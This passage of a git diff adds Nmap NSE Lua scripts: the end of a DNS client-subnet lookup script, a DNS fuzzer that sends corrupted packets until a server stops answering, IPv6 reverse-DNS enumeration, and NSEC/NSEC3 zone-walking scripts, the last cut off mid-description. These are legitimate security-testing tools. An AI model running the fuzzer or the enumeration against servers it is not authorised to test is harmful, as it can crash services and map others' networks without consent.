+ Q5 = {ip=1043415688, desc="GB,Q5,Wetherby"},
+ Q6 = {ip=1043439984, desc="GB,Q6,Antrim"},
+ Q7 = {ip=41811456, desc="GB,Q7,Newtownards"},
+ Q8 = {ip=1347208672, desc="GB,Q8,Armagh"},
+ Q9 = {ip=1044726432, desc="GB,Q9,Connor"},
+ QC = {ip=2210594816, desc="CA,QC,Varennes"},
+ R1 = {ip=1482707288, desc="GB,R1,Ballymoney"},
+ R3 = {ip=47828992, desc="GB,R3,Belfast"},
+ R4 = {ip=1051352576, desc="GB,R4,Eden"},
+ R5 = {ip=1056827328, desc="GB,R5,Castlereagh"},
+ R6 = {ip=47895040, desc="GB,R6,Coleraine"},
+ R7 = {ip=3270400320, desc="GB,R7,Dunmore"},
+ R8 = {ip=1367996672, desc="GB,R8,Portadown"},
+ R9 = {ip=773985608, desc="GB,R9,Square"},
+ RI = {ip=67285760, desc="US,RI,Providence"},
+ S1 = {ip=1040409048, desc="GB,S1,Drummond"},
+ S2 = {ip=1353842208, desc="GB,S2,Enniskillen"},
+ S3 = {ip=1368133632, desc="GB,S3,Larne"},
+ S4 = {ip=1446384520, desc="GB,S4,Ardmore"},
+ S5 = {ip=1043419184, desc="GB,S5,Lisburn"},
+ S6 = {ip=1056826304, desc="GB,S6,Londonderry"},
+ S7 = {ip=1359111383, desc="GB,S7,Curran"},
+ S8 = {ip=1369435392, desc="GB,S8,Waterfoot"},
+ S9 = {ip=1043434592, desc="GB,S9,Newry"},
+ T1 = {ip=3242033152, desc="GB,T1,Jordanstown"},
+ T2 = {ip=1043402000, desc="GB,T2,Bangor"},
+ T3 = {ip=1043429728, desc="GB,T3,Omagh"},
+ T4 = {ip=1043429520, desc="GB,T4,Strabane"},
+ T5 = {ip=39849984, desc="GB,T5,Aberdeen"},
+ T6 = {ip=1043407024, desc="GB,T6,Inverurie"},
+ T7 = {ip=47917056, desc="GB,T7,Forfar"},
+ T8 = {ip=1051457600, desc="GB,T8,Sandbank"},
+ T9 = {ip=1043429424, desc="GB,T9,Melrose"},
+ TX = {ip=201673024, desc="US,TX,Mckinney"},
+ U1 = {ip=1043400976, desc="GB,U1,Alloa"},
+ U2 = {ip=1353815544, desc="GB,U2,Langholm"},
+ U3 = {ip=1042190336, desc="GB,U3,Dundee"},
+ U4 = {ip=1043428036, desc="GB,U4,Newmilns"},
+ U5 = {ip=1051334704, desc="GB,U5,Bishopbriggs"},
+ U6 = {ip=1040628912, desc="GB,U6,Musselburgh"},
+ U7 = {ip=1056881248, desc="GB,U7,Barrhead"},
+ U8 = {ip=35188736, desc="GB,U8,Edinburgh"},
+ U9 = {ip=1318744616, desc="GB,U9,Blackstone"},
+ V1 = {ip=47947776, desc="GB,V1,Kirkcaldy"},
+ V2 = {ip=35190784, desc="GB,V2,Glasgow"},
+ V4 = {ip=1043417560, desc="GB,V4,Greenock"},
+ V5 = {ip=3570359128, desc="GB,V5,Borthwick"},
+ V6 = {ip=1398983520, desc="GB,V6,Findhorn"},
+ V7 = {ip=1043452928, desc="GB,V7,Saltcoats"},
+ V8 = {ip=523564544, desc="GB,V8,Bothwell"},
+ V9 = {ip=1353706504, desc="GB,V9,Redland"},
+ VT = {ip=201355264, desc="US,VT,Brattleboro"},
+ W1 = {ip=1042195200, desc="GB,W1,Perth"},
+ W2 = {ip=1043412560, desc="GB,W2,Paisley"},
+ W4 = {ip=1056825616, desc="GB,W4,Dundonald"},
+ W5 = {ip=1040411544, desc="GB,W5,Douglas"},
+ W6 = {ip=41547776, desc="GB,W6,Stirling"},
+ W7 = {ip=1443523584, desc="GB,W7,Bearsden"},
+ W8 = {ip=534572928, desc="GB,W8,Cross"},
+ W9 = {ip=1042221056, desc="GB,W9,Livingston"},
+ WA = {ip=201806720, desc="US,WA,Issaquah"},
+ WY = {ip=135495936, desc="US,WY,Casper"},
+ X1 = {ip=1043425760, desc="GB,X1,Valley"},
+ X2 = {ip=773988152, desc="GB,X2,Victoria"},
+ X3 = {ip=35149824, desc="GB,X3,Bridgend"},
+ X4 = {ip=1043402272, desc="GB,X4,Blackwood"},
+ X5 = {ip=39946240, desc="GB,X5,Cardiff"},
+ X6 = {ip=1043435700, desc="GB,X6,Aberystwyth"},
+ X7 = {ip=1043408760, desc="GB,X7,Llanelli"},
+ X8 = {ip=1368926208, desc="GB,X8,Abergele"},
+ X9 = {ip=1043411032, desc="GB,X9,Rhyl"},
+ Y1 = {ip=1043407256, desc="GB,Y1,Holywell"},
+ Y2 = {ip=1043401576, desc="GB,Y2,Caernarfon"},
+ Y4 = {ip=1043428692, desc="GB,Y4,Cwmbran"},
+ Y5 = {ip=3265794544, desc="GB,Y5,Cwmafan"},
+ Y6 = {ip=35153920, desc="GB,Y6,Newport"},
+ Y7 = {ip=1353763984, desc="GB,Y7,Haverfordwest"},
+ Y8 = {ip=1043430344, desc="GB,Y8,Welshpool"},
+ Z1 = {ip=40116224, desc="GB,Z1,Swansea"},
+ Z2 = {ip=40189952, desc="GB,Z2,Pontypool"},
+ Z3 = {ip=35147776, desc="GB,Z3,Barry"},
+ Z4 = {ip=40321024, desc="GB,Z4,Wrexham"}
+}
+
+local get_addresses = function(address, mask, domain, nameserver, port)
+
+ -- translate the IP's in the areaIPs to strings, as this is what the
+ -- DNS library expects
+ if ( "number" == type(address) ) then
+ address = ipOps.fromdword(address)
+ end
+
+ local subnet = { family = nmap.address_family(), address = address, mask = mask }
+ local status, resp = dns.query(domain, {host = nameserver, port=port.number, protocol=port.protocol, retAll=true, subnet=subnet})
+ if ( not(status) ) then
+ return {}
+ end
+ if ( "table" ~= type(resp) ) then resp = { resp } end
+ return resp
+end
+
+action = function(host, port)
+
+ if ( not(argDomain) ) then
+ return stdnse.format_output(false, SCRIPT_NAME .. ".domain was not specified")
+ end
+
+ local nameserver = (host and host.ip) or argNS
+ -- if we have no nameserver argument and no host, we don't have sufficient
+ -- information to continue, abort
+ if not nameserver then
+ return nil
+ end
+
+ -- if we are running as a prerule pick some defaults
+ port = port or { number = "53", protocol ="udp" }
+
+ local addrs = argAddr or areaIPs
+ if ( "string" == type(addrs) ) then addrs = {{ ip = addrs }} end
+
+ local lookup, result = {}, { name = argDomain }
+ for _,ip in pairs(addrs) do
+ for _, addr in ipairs( get_addresses (ip.ip, argMask, argDomain, nameserver, port) ) do
+ lookup[addr] = true
+ end
+ end
+ for addr in pairs(lookup) do table.insert(result, addr) end
+ table.sort(result)
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/dns-fuzz.nse b/scripts/dns-fuzz.nse
new file mode 100644
index 0000000..dade20a
--- /dev/null
+++ b/scripts/dns-fuzz.nse
@@ -0,0 +1,306 @@
+local comm = require "comm"
+local dns = require "dns"
+local math = require "math"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Launches a DNS fuzzing attack against DNS servers.
+
+The script induces errors into randomly generated but valid DNS packets.
+The packet template that we use includes one uncompressed and one
+compressed name.
+
+Use the <code>dns-fuzz.timelimit</code> argument to control how long the
+fuzzing lasts. This script should be run for a long time. It will send a
+very large quantity of packets and thus it's pretty invasive, so it
+should only be used against private DNS servers as part of a software
+development lifecycle.
+]]
+
+---
+-- @usage
+-- nmap -sU --script dns-fuzz --script-args timelimit=2h <target>
+--
+-- @args dns-fuzz.timelimit How long to run the fuzz attack. This is a
+-- number followed by a suffix: <code>s</code> for seconds,
+-- <code>m</code> for minutes, and <code>h</code> for hours. Use
+-- <code>0</code> for an unlimited amount of time. Default:
+-- <code>10m</code>.
+--
+-- @output
+-- Host script results:
+-- |_dns-fuzz: Server stopped responding... He's dead, Jim.
+
+author = "Michael Pattrick"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"fuzzer", "intrusive"}
+
+
+portrule = shortport.portnumber(53, {"tcp", "udp"})
+
+-- How many ms should we wait for the server to respond.
+-- Might want to make this an argument, but 500 should always be more then enough.
+DNStimeout = 500
+
+-- Will the DNS server only respond to recursive questions
+recursiveOnly = false
+
+-- We only perform a DNS lookup of this site
+recursiveServer = "scanme.nmap.org"
+
+---
+-- Checks if the server is alive/DNS
+-- @param host The host which the server should be running on
+-- @param port The servers port
+-- @return Bool, true if and only if the server is alive
+function pingServer (host, port, attempts)
+ local status, response, result
+ -- If the server doesn't respond to the first in a multiattempt probe, slow down
+ local slowDown = 1
+ if not recursiveOnly then
+ -- try to get a server status message
+ -- The method that nmap uses by default
+ local data
+ local pkt = dns.newPacket()
+ pkt.id = math.random(65535)
+
+ pkt.flags.OC3 = true
+
+ data = dns.encode(pkt)
+
+ for i = 1, attempts do
+ status, result = comm.exchange(host, port, data, {timeout=DNStimeout^slowDown})
+ if status then
+ return true
+ end
+ slowDown = slowDown + 0.25
+ end
+
+ return false
+ else
+ -- just do a vanilla recursive lookup of scanme.nmap.org
+ for i = 1, attempts do
+ status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=DNStimeout^slowDown})
+ if status then
+ return true
+ end
+ slowDown = slowDown + 0.25
+ end
+ return false
+ end
+end
+
+---
+-- Generate a random 'label', a string of ascii characters do be used in
+-- the requested domain names
+-- @return Random string of lowercase characters
+function makeWord ()
+ local len = math.random(3,7)
+ local name = {string.char(len)}
+ for i = 1, len do
+ -- this next line assumes ascii
+ name[i+1] = string.char(math.random(string.byte("a"),string.byte("z")))
+ end
+ return table.concat(name)
+end
+
+---
+-- Turns random labels from makeWord into a valid domain name.
+-- Includes the option to compress any given name by including a pointer
+-- to the first record. Obviously the first record should not be compressed.
+-- @param compressed Bool, whether or not this record should have a compressed field
+-- @return A dns host string
+function makeHost (compressed)
+ -- randomly choose between 2 to 4 levels in this domain
+ local levels = math.random(2,4)
+ local name = {}
+ for i = 1, levels do
+ name[#name+1] = makeWord ()
+ end
+ if compressed then
+ name[#name+1] = "\xc0\x0c"
+ else
+ name[#name+1] = "\x00"
+ end
+
+ return table.concat(name)
+end
+
+---
+-- Concatenate all the bytes of a valid dns packet, including names generated by
+-- makeHost(). This packet is to be corrupted.
+-- @return Always returns a valid packet
+function makePacket()
+ local recurs = 0x00
+ if recursiveOnly then
+ recurs = 0x01
+ end
+ return
+ string.char( math.random(0,255), math.random(0,255), -- TXID
+ recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons
+ 0x00, 0x02, -- Questions
+ 0x00, 0x00, -- Answer RRs
+ 0x00, 0x00, -- Authority RRs
+ 0x00, 0x00) -- Additional RRs
+ -- normal host
+ .. makeHost (false) .. -- Hostname
+ string.char( 0x00, 0x01, -- Type (A)
+ 0x00, 0x01) -- Class (IN)
+ -- compressed host
+ .. makeHost (true) .. -- Hostname
+ string.char( 0x00, 0x05, -- Type (CNAME)
+ 0x00, 0x01) -- Class (IN)
+end
+
+---
+-- Introduce bit errors into a packet at a rate of 1/50
+-- As Charlie Miller points out in "Fuzz by Number"
+-- -> cansecwest.com/csw08/csw08-miller.pdf
+-- It's difficult to tell how much random you should insert into packets
+-- "If data is too valid, might not cause problems, If data is too invalid,
+-- might be quickly rejected"
+-- so 1/50 is arbitrary
+-- @param dnsPacket A packet, generated by makePacket()
+-- @return The same packet, but with bit flip errors
+function nudgePacket (dnsPacket)
+ local chunks = {}
+ local pos = 1
+ for i = 1, #dnsPacket do
+ -- Induce bit errors at a rate of 1/50.
+ if math.random(50) == 25 then
+ table.insert(chunks, dnsPacket:sub(pos, i - 1))
+ table.insert(chunks, string.char(dnsPacket:byte(i) ~ (1 << math.random(0, 7))))
+ pos = i + 1
+ end
+ end
+ table.insert(chunks, dnsPacket:sub(pos))
+ return table.concat(chunks)
+end
+
+---
+-- Instead of flipping a bit, we drop an entire byte
+-- @param dnsPacket A packet, generated by makePacket()
+-- @return The same packet, but with a single byte missing
+function dropByte (dnsPacket)
+ local pos = math.random(#dnsPacket)
+ return dnsPacket:sub(1, pos - 1) .. dnsPacket:sub(pos + 1)
+end
+
+---
+-- Instead of dropping an entire byte, insert a random byte
+-- @param dnsPacket A packet, generated by makePacket()
+-- @return The same packet, but with a single byte missing
+function injectByte (dnsPacket)
+ local pos = math.random(#dnsPacket + 1)
+ return dnsPacket:sub(1, pos - 1) .. string.char(math.random(0,255)) .. dnsPacket:sub(pos)
+end
+
+---
+-- Instead of inserting a byte, truncate the packet at random position
+-- @param dnsPacket A packet, generated by makePacket()
+-- @return The same packet, but truncated
+function truncatePacket (dnsPacket)
+ -- at least 12 bytes to make sure the packet isn't dropped as a tinygram
+ local pos = math.random(12, #dnsPacket - 1)
+ return dnsPacket:sub(1, pos)
+end
+
+---
+-- As the name of this function suggests, we corrupt the packet, and then send it.
+-- We choose at random one of three corruption functions, and then corrupt/send
+-- the packet a maximum of 10 times
+-- @param host The servers IP
+-- @param port The servers port
+-- @param query An uncorrupted DNS packet
+-- @return A string if the server died, else nil
+function corruptAndSend (host, port, query)
+ local randCorr = math.random(0,4)
+ local status
+ local result
+ -- 10 is arbitrary, but seemed like a good number
+ for j = 1, 10 do
+ if randCorr<=1 then
+ -- slight bias to nudging because it seems to work better
+ query = nudgePacket(query)
+ elseif randCorr==2 then
+ query = dropByte(query)
+ elseif randCorr==3 then
+ query = injectByte(query)
+ elseif randCorr==4 then
+ query = truncatePacket(query)
+ end
+
+ status, result = comm.exchange(host, port, query, {timeout=DNStimeout})
+ if not status then
+ if not pingServer(host,port,3) then
+ -- no response after three tries, the server is probably dead
+ return "Server stopped responding... He's dead, Jim.\n"..
+ "Offending packet: 0x".. stdnse.tohex(query)
+ else
+ -- We corrupted the packet too much, the server will just drop it
+ -- No point in using it again
+ return nil
+ end
+ end
+ if randCorr==4 then
+ -- no point in using this function more then once
+ return nil
+ end
+ end
+ return nil
+end
+
+action = function(host, port)
+ local endT
+ local timelimit, err
+ local retStr
+ local query
+
+ for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do
+ if nmap.registry.args[k] then
+ timelimit, err = stdnse.parse_timespec(nmap.registry.args[k])
+ if not timelimit then
+ error(err)
+ end
+ break
+ end
+ end
+ if timelimit and timelimit > 0 then
+ -- seconds to milliseconds plus the current time
+ endT = timelimit*1000 + nmap.clock_ms()
+ elseif not timelimit then
+ -- 10 minutes
+ endT = 10*60*1000 + nmap.clock_ms()
+ end
+
+
+ -- Check if the server is a DNS server.
+ if not pingServer(host,port,1) then
+ -- David reported that his DNS server doesn't respond to
+ recursiveOnly = true
+ if not pingServer(host,port,1) then
+ return "Server didn't response to our probe, can't fuzz"
+ end
+ end
+ nmap.set_port_state (host, port, "open")
+
+ -- If the user specified that we should run for n seconds, then don't run for too much longer
+ -- If 0 seconds, then run forever
+ while not endT or nmap.clock_ms()<endT do
+ -- Forge an initial packet
+ -- We start off with an only slightly corrupted packet, then add more and more corruption
+ -- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times
+ -- then start all over
+ query = makePacket ()
+ -- induce random jitter
+ retStr = corruptAndSend (host, port, query)
+ if retStr then
+ return retStr
+ end
+ end
+ return "The server seems impervious to our assault."
+end
diff --git a/scripts/dns-ip6-arpa-scan.nse b/scripts/dns-ip6-arpa-scan.nse
new file mode 100644
index 0000000..fb9036a
--- /dev/null
+++ b/scripts/dns-ip6-arpa-scan.nse
@@ -0,0 +1,131 @@
+local coroutine = require "coroutine"
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Performs a quick reverse DNS lookup of an IPv6 network using a technique
+which analyzes DNS server response codes to dramatically reduce the number of queries needed to enumerate large networks.
+
+The technique essentially works by adding an octet to a given IPv6 prefix
+and resolving it. If the added octet is correct, the server will return
+NOERROR, if not a NXDOMAIN result is received.
+
+The technique is described in detail on Peter's blog:
+http://7bits.nl/blog/2012/03/26/finding-v6-hosts-by-efficiently-mapping-ip6-arpa
+]]
+
+---
+-- @usage
+-- nmap --script dns-ip6-arpa-scan --script-args='prefix=2001:0DB8::/48'
+--
+-- @see dns-nsec3-enum.nse
+-- @see dns-nsec-enum.nse
+-- @see dns-brute.nse
+-- @see dns-zone-transfer.nse
+--
+-- @output
+-- Pre-scan script results:
+-- | dns-ip6-arpa-scan:
+-- | ip ptr
+-- | 2001:0DB8:0:0:0:0:0:2 resolver1.example.com
+-- |_2001:0DB8:0:0:0:0:0:3 resolver2.example.com
+--
+-- @args prefix the ip6 prefix to scan
+-- @args mask the ip6 mask to start scanning from
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "discovery"}
+
+
+local arg_prefix = stdnse.get_script_args(SCRIPT_NAME .. ".prefix")
+local arg_mask = stdnse.get_script_args(SCRIPT_NAME .. ".mask")
+
+-- Return a prefix and mask based on script arguments. First checks for "/"
+-- netmask syntax; then looks for a "mask" script argument if that fails. The
+-- "/" syntax wins over "mask" if both are present.
+local function get_prefix_mask(arg_prefix, arg_mask)
+ if not arg_prefix then
+ return
+ end
+ local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$")
+ if not mask then
+ prefix, mask = arg_prefix, arg_mask
+ end
+ return prefix, mask
+end
+
+prerule = function()
+ local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
+ return prefix and mask
+end
+
+local function query_prefix(query, result)
+ local condvar = nmap.condvar(result)
+ local status, res = dns.query(query, { dtype='PTR' })
+ if ( not(status) and res == "No Answers") then
+ table.insert(result, query)
+ elseif ( status ) then
+ local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2)
+ ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip))
+ table.insert(result, { ptr = res, query = query, ip = ip } )
+ end
+ condvar "signal"
+end
+
+action = function()
+
+ local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
+ local query = dns.reverse(prefix)
+
+ -- cut the query name down to the length of the prefix
+ local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1
+
+ local found = { query:sub(-len) }
+ local threads = {}
+
+ local i = 20
+
+ local result
+ repeat
+ result = {}
+ for _, f in ipairs(found) do
+ for q in ("0123456789abcdef"):gmatch("(%w)") do
+ local co = stdnse.new_thread(query_prefix, q .. "." .. f, result)
+ threads[co] = true
+ end
+ end
+
+ local condvar = nmap.condvar(result)
+ repeat
+ for t in pairs(threads) do
+ if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until( next(threads) == nil )
+
+ if ( 0 == #result ) then
+ return
+ end
+
+ found = result
+ i = i + 1
+ until( 128 == i * 2 + mask )
+
+ table.sort(result, function(a,b) return (a.ip < b.ip) end)
+ local output = tab.new(2)
+ tab.addrow(output, "ip", "ptr")
+
+ for _, item in ipairs(result) do
+ tab.addrow(output, item.ip, item.ptr)
+ end
+
+ return "\n" .. tab.dump(output)
+end
diff --git a/scripts/dns-nsec-enum.nse b/scripts/dns-nsec-enum.nse
new file mode 100644
index 0000000..10b5b95
--- /dev/null
+++ b/scripts/dns-nsec-enum.nse
@@ -0,0 +1,393 @@
+local dns = require "dns"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Enumerates DNS names using the DNSSEC NSEC-walking technique.
+
+Output is arranged by domain. Within a domain, subzones are shown with
+increased indentation.
+
+The NSEC response record in DNSSEC is used to give negative answers to
+queries, but it has the side effect of allowing enumeration of all
+names, much like a zone transfer. This script doesn't work against
+servers that use NSEC3 rather than NSEC; for that, see
+<code>dns-nsec3-enum</code>.
+]]
+
+---
+-- @args dns-nsec-enum.domains The domain or list of domains to
+-- enumerate. If not provided, the script will make a guess based on the
+-- name of the target.
+--
+-- @usage
+-- nmap -sSU -p 53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=example.com <target>
+--
+-- @see dns-nsec3-enum.nse
+-- @see dns-ip6-arpa-scan.nse
+-- @see dns-brute.nse
+-- @see dns-zone-transfer.nse
+--
+-- @output
+-- 53/udp open domain udp-response
+-- | dns-nsec-enum:
+-- | example.com
+-- | bulbasaur.example.com
+-- | charmander.example.com
+-- | dugtrio.example.com
+-- | www.dugtrio.example.com
+-- | gyarados.example.com
+-- | johto.example.com
+-- | blue.johto.example.com
+-- | green.johto.example.com
+-- | ns.johto.example.com
+-- | red.johto.example.com
+-- | ns.example.com
+-- | snorlax.example.com
+-- |_ vulpix.example.com
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+
+categories = {"discovery", "intrusive"}
+
+
+portrule = function (host, port)
+ if not shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port) then
+ return false
+ end
+ -- only check tcp if udp is not open or open|filtered
+ if port.protocol == 'tcp' then
+ local tmp_port = nmap.get_port_state(host, {number=port.number, protocol="udp"})
+ if tmp_port then
+ return not string.match(tmp_port.state, '^open')
+ end
+ end
+ return true
+end
+
+local function remove_empty(t)
+ local result = {}
+
+ for _, v in ipairs(t) do
+ if v ~= "" then
+ result[#result + 1] = v
+ end
+ end
+
+ return result
+end
+
+local function split(domain)
+ return stringaux.strsplit("%.", domain)
+end
+
+local function join(components)
+ return table.concat(remove_empty(components), ".")
+end
+
+-- Remove the first component of a domain name. Return nil if the number of
+-- components drops below min_length (default 0).
+local function remove_component(domain, min_length)
+ local components
+
+ min_length = min_length or 0
+ components = split(domain)
+ if #components <= min_length then
+ return nil
+ end
+ table.remove(components, 1)
+
+ return join(components)
+end
+
+-- Guess the domain given a host. Return nil on failure. This function removes
+-- a domain name component unless the name would become shorter than 2
+-- components.
+local function guess_domain(host)
+ local name
+ local components
+
+ name = stdnse.get_hostname(host)
+ if name and name ~= host.ip then
+ return remove_component(name, 2) or name
+ else
+ return nil
+ end
+end
+
+-- RFC 952: "A 'name' is a text string up to 24 characters drawn from the
+-- alphabet (A-Z), digits (0-9), minus sign (-), and period (.). ... The first
+-- character must be an alpha character."
+-- RFC 1123, section 2.1: "One aspect of host name syntax is hereby changed:
+-- the restriction on the first character is relaxed to allow either a letter
+-- or a digit."
+-- RFC 2782: An underscore (_) is prepended to the service identifier to avoid
+-- collisions with DNS labels that occur in nature.
+local DNS_CHARS = { string.byte("-0123456789_abcdefghijklmnopqrstuvwxyz", 1, -1) }
+local DNS_CHARS_INV = tableaux.invert(DNS_CHARS)
+
+-- Return the lexicographically next component, or nil if component is the
+-- lexicographically last.
+local function increment_component(name)
+ local i, bytes, indexes
+
+ -- Easy cases first.
+ if #name == 0 then
+ return "0"
+ elseif #name < 63 then
+ return name .. "-"
+ elseif #name > 64 then
+ -- Shouldn't happen.
+ return nil
+ end
+
+ -- Convert the string into an array of indexes into DNS_CHARS.
+ indexes = {}
+ for i, b in ipairs({ string.byte(name, 1, -1) }) do
+ indexes[i] = DNS_CHARS_INV[b]
+ end
+ -- Increment.
+ i = #name
+ while i >= 1 do
+ repeat
+ indexes[i] = indexes[i] + 1
+ -- No "-" in first position.
+ until not (i == 1 and string.char(DNS_CHARS[indexes[i]]) == "-")
+ if indexes[i] > #DNS_CHARS then
+ -- Wrap around, next digit.
+ indexes[i] = 1
+ else
+ break
+ end
+ i = i - 1
+ end
+ -- Overflow.
+ if i == 0 then
+ return nil
+ end
+ -- Convert array of indexes back into string.
+ bytes = {}
+ for i, index in ipairs(indexes) do
+ bytes[i] = DNS_CHARS[index]
+ end
+
+ return string.char(table.unpack(bytes))
+end
+
+-- Return the lexicographically next domain name that does not add a new
+-- subdomain. This is used after enumerating a whole subzone to jump out of the
+-- subzone and on to more names.
+local function bump_domain(domain)
+ local components
+
+ components = split(domain)
+ while #components > 0 do
+ components[1] = increment_component(components[1])
+ if components[1] then
+ break
+ else
+ table.remove(components[1])
+ end
+ end
+
+ if #components == 0 then
+ return nil
+ else
+ return join(components)
+ end
+end
+
+-- Return the lexicographically next domain name. This adds a new subdomain
+-- consisting of the smallest character. This function never returns a domain
+-- outside the current subzone.
+local function next_domain(domain)
+ if #domain == 0 then
+ return "0"
+ else
+ return "0" .. "." .. domain
+ end
+end
+
+-- Cut out a portion of an array and return it as a new array, setting the
+-- elements in the original array to nil.
+local function excise(t, i, j)
+ local result
+
+ result = {}
+ if j < 0 then
+ j = #t + j + 1
+ end
+ for i = i, j do
+ result[#result + 1] = t[i]
+ t[i] = nil
+ end
+
+ return result
+end
+
+-- Remove a suffix from a domain (to isolate a subdomain from its parent).
+local function remove_suffix(domain, suffix)
+ local dc, sc
+
+ dc = split(domain)
+ sc = split(suffix)
+ while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
+ dc[#dc] = nil
+ sc[#sc] = nil
+ end
+
+ return join(dc), join(sc)
+end
+
+-- Return the subset of authoritative records with the given label.
+local function auth_filter(retPkt, label)
+ local result = {}
+
+ for _, rec in ipairs(retPkt.auth) do
+ if rec[label] then
+ result[#result + 1] = rec[label]
+ end
+ end
+
+ return result
+end
+
+-- "Less than" function for two domain names. Compares starting with the last
+-- component.
+local function domain_lt(a, b)
+ local a_parts, b_parts
+
+ a_parts = split(a)
+ b_parts = split(b)
+ while #a_parts > 0 and #b_parts > 0 do
+ if a_parts[#a_parts] < b_parts[#b_parts] then
+ return true
+ elseif a_parts[#a_parts] > b_parts[#b_parts] then
+ return false
+ end
+ a_parts[#a_parts] = nil
+ b_parts[#b_parts] = nil
+ end
+
+ return #a_parts < #b_parts
+end
+
+-- Find the NSEC record that brackets the given domain.
+local function get_next_nsec(retPkt, domain)
+ for _, nsec in ipairs(auth_filter(retPkt, "NSEC")) do
+ -- The last NSEC record points backwards to the start of the subzone.
+ if domain_lt(nsec.dname, domain) and not domain_lt(nsec.dname, nsec.next_dname) then
+ return nsec
+ end
+ if domain_lt(nsec.dname, domain) and domain_lt(domain, nsec.next_dname) then
+ return nsec
+ end
+ end
+end
+
+local function empty(t)
+ return not next(t)
+end
+
+-- Enumerate a single domain.
+local function enum(host, port, domain)
+ local all_results = {}
+ local seen = {}
+ local subdomain = next_domain("")
+
+ while subdomain do
+ local result = {}
+ local status, result, nsec
+ stdnse.debug1("Trying %q.%q", subdomain, domain)
+ status, result = dns.query(join({subdomain, domain}), {host = host.ip, port=port.number, proto=port.protocol, dtype='A', retAll=true, retPkt=true, dnssec=true})
+ nsec = status and get_next_nsec(result, join({subdomain, domain})) or nil
+ if nsec then
+ local first, last, remainder
+ local index
+
+ first, remainder = remove_suffix(nsec.dname, domain)
+ if #remainder > 0 then
+ stdnse.debug1("Result name %q doesn't end in %q.", nsec.dname, domain)
+ subdomain = nil
+ break
+ end
+ last, remainder = remove_suffix(nsec.next_dname, domain)
+ if #remainder > 0 then
+ stdnse.debug1("Result name %q doesn't end in %q.", nsec.next_dname, domain)
+ subdomain = nil
+ break
+ end
+ if #last == 0 then
+ stdnse.debug1("Wrapped")
+ subdomain = nil
+ break
+ end
+
+ if not seen[first] then
+ table.insert(all_results, join({first, domain}))
+ seen[first] = #all_results
+ end
+ index = seen[last]
+ if index then
+ -- Ignore if first is the original domain.
+ if #first > 0 then
+ subdomain = bump_domain(last)
+ -- Replace a chunk of the output with a sub-table for the zone.
+ all_results[index] = excise(all_results, index, -1)
+ end
+ else
+ stdnse.debug1("adding %s", last)
+ subdomain = next_domain(last)
+ table.insert(all_results, join({last, domain}))
+ seen[last] = #all_results
+ end
+ else
+ local parent = remove_component(subdomain, 1)
+
+ -- This branch is entered if name resolution failed or
+ -- there were no NSEC records. If at the top, quit.
+ -- Otherwise continue to the next subdomain.
+ if parent then
+ subdomain = bump_domain(parent)
+ else
+ return nil
+ end
+ end
+ end
+
+ return all_results
+end
+
+action = function(host, port)
+ local output = {}
+ local domains
+
+ domains = stdnse.get_script_args('dns-nsec-enum.domains')
+ if not domains then
+ domains = guess_domain(host)
+ end
+ if not domains then
+ return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
+ end
+ if type(domains) == 'string' then
+ domains = { domains }
+ end
+
+ for _, domain in ipairs(domains) do
+ local result = enum(host, port, domain)
+ if type(result) == "table" then
+ result["name"] = domain
+ output[#output + 1] = result
+ else
+ output[#output + 1] = "No NSEC records found"
+ end
+ end
+
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/dns-nsec3-enum.nse b/scripts/dns-nsec3-enum.nse
new file mode 100644
index 0000000..1932ce5
--- /dev/null
+++ b/scripts/dns-nsec3-enum.nse
@@ -0,0 +1,427 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local dns = require "dns"
+local base32 = require "base32"
+local nmap = require "nmap"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+local rand = require "rand"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Tries to enumerate domain names from the DNS server that supports DNSSEC
+NSEC3 records.
+
+The script queries for nonexistant domains until it exhausts all domain
+ranges keeping track of hashes. At the end, all hashes are printed along
+with salt and number of iterations used. This technique is known as
+"NSEC3 walking".
+
+That info should then be fed into an offline cracker, like
+<code>unhash</code> from https://dnscurve.org/nsec3walker.html, to
+bruteforce the actual names from the hashes. Assuming that the script
+output was written into a text file <code>hashes.txt</code> like:
+<code>
+domain example.com
+salt 123456
+iterations 10
+nexthash d1427bj0ahqnpi4t0t0aaun18oqpgcda vhnelm23s1m3japt7gohc82hgr9un2at
+nexthash k7i4ekvi22ebrim5b6celtaniknd6ilj prv54a3cr1tbcvqslrb7bftf5ji5l0p8
+nexthash 9ool6bk7r2diaiu81ctiemmb6n961mph nm7v0ig7h9c0agaedc901kojfj9bgabj
